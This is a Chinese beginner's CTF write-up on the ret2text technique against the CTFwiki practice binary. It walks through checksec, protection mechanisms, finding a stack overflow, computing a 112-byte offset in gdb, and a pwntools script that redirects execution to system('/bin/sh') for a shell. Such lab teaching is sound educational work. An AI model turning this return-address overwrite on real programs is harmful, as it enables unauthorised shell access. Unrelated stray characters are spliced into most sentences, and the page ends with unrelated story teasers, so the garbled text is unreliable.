ret2text(一道題入門)

二進(jìn)制安全

不論是網(wǎng)絡(luò)安全中的web安全還是二進(jìn)制安全等都是一個(gè)很玄學(xué)的東西终佛,科學(xué)的盡頭是是玄學(xué)嘛,不論你選的是哪個(gè)方向翔忽,用心就好了英融,重在堅(jiān)持了盏檐。我會(huì)通過寫文章的方式來記錄自己的新的體會(huì),這本身就是具有成就感驶悟。


工具安裝環(huán)境搭建

首先需要一個(gè)Ubuntu的系統(tǒng)以及PWN的神器IDA等等插件具體請看這篇二進(jìn)制入門環(huán)境安裝文章

這里就不多說了胡野,直接做題就好了。


開始做題

此次做題我們用的是CTFwiki中的ret2text賦予他執(zhí)行權(quán)限(chmod 777 ret2text)

0x1

拿到一道題的第一步我們先去檢查他的保護(hù)機(jī)制

checksec ret2text

Arch:? ? i386-32-little //文件為32位程序

RELRO:? ? Partial RELRO

Stack:? ? No canary found? ? //未開啟canary保護(hù)

NX:? ? ? NX enabled? ? //開啟了棧不可執(zhí)行保護(hù)

PIE:? ? ? No PIE (0x8048000)? ? //未開啟地址無關(guān)可執(zhí)行

既然提到了保護(hù)機(jī)制的原理我們可以參考這篇文章Linux中的保護(hù)機(jī)制只有了解了它的保護(hù)機(jī)制我們才可以通過某種手法來繞過利用痕鳍,從而拿到我們想要的東西硫豆。

canary(棧保護(hù))

當(dāng)啟用棧保護(hù)后,函數(shù)開始執(zhí)行的時(shí)候會(huì)先往棧底插入 cookie

信息笼呆,當(dāng)函數(shù)真正返回的時(shí)候會(huì)驗(yàn)證 cookie 信息是否合法 (棧幀銷毀前測試該值是否被改變)熊响,如果不合法就停止程序運(yùn)行

(棧溢出發(fā)生)。攻擊者在覆蓋返回地址的時(shí)候往往也會(huì)將 cookie 信息給覆蓋掉诗赌,導(dǎo)致棧保護(hù)檢查失敗而阻止 shellcode

的執(zhí)行汗茄,避免漏洞利用成功。在 Linux 中我們將 cookie 信息稱為 Canary铭若。

PIE

如果程序開啟了PIE保護(hù)的話洪碳,在每次加載程序時(shí)都變換加載地址

NX(DEP)

NX即No-eXecute(不可執(zhí)行)的意思,限制一塊內(nèi)存區(qū)域不可執(zhí)行叼屠。

ASLR

ASLR(地址隨機(jī)化)是一種針對(duì)緩沖區(qū)溢出的安全保護(hù)技術(shù)瞳腌,通過對(duì)堆、棧环鲤、共享庫映射等線性區(qū)布局的隨機(jī)化,通過增加攻擊者預(yù)測目的地址的難度憎兽,防止攻擊者直接定位攻擊代碼位置冷离,達(dá)到阻止溢出攻擊的目的。

但是纯命,地址隨機(jī)化不是對(duì)所有模塊和內(nèi)存區(qū)都進(jìn)行隨機(jī)化西剥!雖然libc、棧亿汞、堆的加載位置被隨機(jī)化瞭空,但主鏡像不會(huì)。

0x2

通過第一步觀察到本題是32位程序疗我,對(duì)應(yīng)的是32的IDA咆畏。加載出來的是匯編語言,然后就要去看它的main函數(shù)按F5反匯編吴裤,觀察代碼


看到這里存在棧溢出漏洞旧找。

棧溢出漏洞

溢出溢出,字面上就是往容器里加的水超過了水的容積麦牺,簡單講钮蛛,棧溢出就是向棧中某個(gè)變量中寫入的字節(jié)數(shù)超過了這個(gè)變量本身所申請的字節(jié)數(shù)鞭缭,造成溢出。發(fā)生棧溢出的條件:程序必須向棧上寫入數(shù)據(jù)魏颓。寫入的數(shù)據(jù)大小沒有被良好地控制岭辣。利用方式:覆蓋程序的返回地址為攻擊者所控制的地址,比如該地址為執(zhí)行shellcode的地址shellcode是一段用于利用軟件漏洞而執(zhí)行的代碼甸饱,shellcode為16進(jìn)制的機(jī)器碼沦童,可以讓攻擊者獲得shell,利用pwntools可自動(dòng)生成柜候,等用到再說搞动。可能造成棧溢出的函數(shù)渣刷。

可能造成棧溢出的函數(shù)有:gets,scanf,vscanf,sprintf,strcpy,strcat鹦肿,bcopy

摘自某大佬博客

0x3

繼續(xù)瀏覽其他函數(shù)的偽代碼。發(fā)現(xiàn)secure函數(shù)中調(diào)用了system(“/bin/sh”)辅柴,我們只需要想辦法執(zhí)行這system(“/bin/sh”)從而拿到我們想要的shell箩溃。


我們現(xiàn)在大概確定了棧溢出漏洞,我們首先要知道這個(gè)漏洞到底有多深碌嘀,然后我們了解了這個(gè)漏洞的深度把東西填裝進(jìn)去讓他覆蓋到這個(gè)system(“/bin/sh”)這個(gè)地址我們就可以得到shell了涣旨。那如何確定這個(gè)偏移量和這個(gè)地址呢?

第一步利用gdb進(jìn)行調(diào)試看它的偏移

gdb -q ./ret2text? ? ? ? ?

//gdb載入該文件

pattern create 200? ? ?

//制造200個(gè)填充字符(多少字符都行)股冗,先把他復(fù)制下來

r? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

//運(yùn)行程序

pattern offset 地址? ? ?

//確定偏移



計(jì)算的偏移量為112霹陡,下面找到system(“/bin/sh”)地址就可以構(gòu)造exp了,那么我們看在IDA看在secure中調(diào)用system(“/bin/sh”)的地址

exp如下

from pwn import*? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

//導(dǎo)入python庫

p = process("./ret2text")? ? ? ? ? ? ? ? ? ? ?

//與文件建立本地連接止状,遠(yuǎn)程連接用r = remote('ip',端口)

payload = 'a'*112 + p32(0x804863A)?

?//p32()將其打包烹棉,64位用p64()

p.sendline(payload)? ? ? ? ? ? ? ? ? ? ? ? ? ?

//發(fā)送payload

p.interactive()? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

//直接進(jìn)行交互,相當(dāng)于回到shell的模式怯疤,在取得shell之后使用

執(zhí)行exp


pwntools參數(shù)及使用可參照:pwntools使用


最后推薦學(xué)習(xí)網(wǎng)站:CTFwiki 看雪論壇 吾愛破解 B站 都有不錯(cuò)的資源學(xué)習(xí)浆洗。

此篇文章如果存在問題,還望大佬批評(píng)指正

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末集峦,一起剝皮案震驚了整個(gè)濱河市伏社,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌塔淤,老刑警劉巖摘昌,帶你破解...
    沈念sama閱讀 216,744評(píng)論 6 502
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異高蜂,居然都是意外死亡第焰,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,505評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門妨马,熙熙樓的掌柜王于貴愁眉苦臉地迎上來挺举,“玉大人杀赢,你說我怎么就攤上這事∠孀荩” “怎么了脂崔?”我有些...
    開封第一講書人閱讀 163,105評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長梧喷。 經(jīng)常有香客問我砌左,道長,這世上最難降的妖魔是什么铺敌? 我笑而不...
    開封第一講書人閱讀 58,242評(píng)論 1 292
  • 正文 為了忘掉前任汇歹,我火速辦了婚禮,結(jié)果婚禮上偿凭,老公的妹妹穿的比我還像新娘产弹。我一直安慰自己,他們只是感情好弯囊,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,269評(píng)論 6 389
  • 文/花漫 我一把揭開白布痰哨。 她就那樣靜靜地躺著,像睡著了一般匾嘱。 火紅的嫁衣襯著肌膚如雪斤斧。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,215評(píng)論 1 299
  • 那天霎烙,我揣著相機(jī)與錄音撬讽,去河邊找鬼。 笑死悬垃,一個(gè)胖子當(dāng)著我的面吹牛游昼,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播盗忱,決...
    沈念sama閱讀 40,096評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼酱床,長吁一口氣:“原來是場噩夢啊……” “哼羊赵!你這毒婦竟也來了趟佃?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 38,939評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤昧捷,失蹤者是張志新(化名)和其女友劉穎闲昭,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體靡挥,經(jīng)...
    沈念sama閱讀 45,354評(píng)論 1 311
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡序矩,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,573評(píng)論 2 333
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了跋破。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片簸淀。...
    茶點(diǎn)故事閱讀 39,745評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡瓶蝴,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出租幕,到底是詐尸還是另有隱情舷手,我是刑警寧澤,帶...
    沈念sama閱讀 35,448評(píng)論 5 344
  • 正文 年R本政府宣布劲绪,位于F島的核電站男窟,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏贾富。R本人自食惡果不足惜歉眷,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,048評(píng)論 3 327
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望颤枪。 院中可真熱鬧汗捡,春花似錦、人聲如沸汇鞭。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,683評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽霍骄。三九已至台囱,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間读整,已是汗流浹背簿训。 一陣腳步聲響...
    開封第一講書人閱讀 32,838評(píng)論 1 269
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留米间,地道東北人强品。 一個(gè)月前我還...
    沈念sama閱讀 47,776評(píng)論 2 369
  • 正文 我出身青樓,卻偏偏與公主長得像屈糊,于是被迫代替她去往敵國和親的榛。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,652評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • bufferoverflow0 功能分析 :綁定 11 信號(hào)為 錯(cuò)誤函數(shù)(輸出 flag)逻锐。 利用過程:輸入長度 ...
    fantasy_learner閱讀 2,122評(píng)論 0 0
  • 前言 linux系統(tǒng)提供了很多安全機(jī)制來降低程序受到緩沖區(qū)溢出等攻擊手法的攻擊夫晌,而我們需要使用這些攻擊手法來進(jìn)行攻...
    余生似夢閱讀 1,245評(píng)論 0 1
  • 本文轉(zhuǎn)載自:http://yunnigu.dropsec.xyz/2016/10/08/checksec及其包含的...
    readilen閱讀 2,077評(píng)論 0 1
  • 一、操作系統(tǒng) 操作系統(tǒng)是管理計(jì)算機(jī)硬件資源昧诱,控制其他程序運(yùn)行并為用戶提供交互操作界面的系統(tǒng)軟件的集合晓淀。操作系統(tǒng)是計(jì)...
    Queen_耳又又閱讀 802評(píng)論 0 0
  • 久違的晴天,家長會(huì)盏档。 家長大會(huì)開好到教室時(shí)凶掰,離放學(xué)已經(jīng)沒多少時(shí)間了。班主任說已經(jīng)安排了三個(gè)家長分享經(jīng)驗(yàn)。 放學(xué)鈴聲...
    飄雪兒5閱讀 7,522評(píng)論 16 22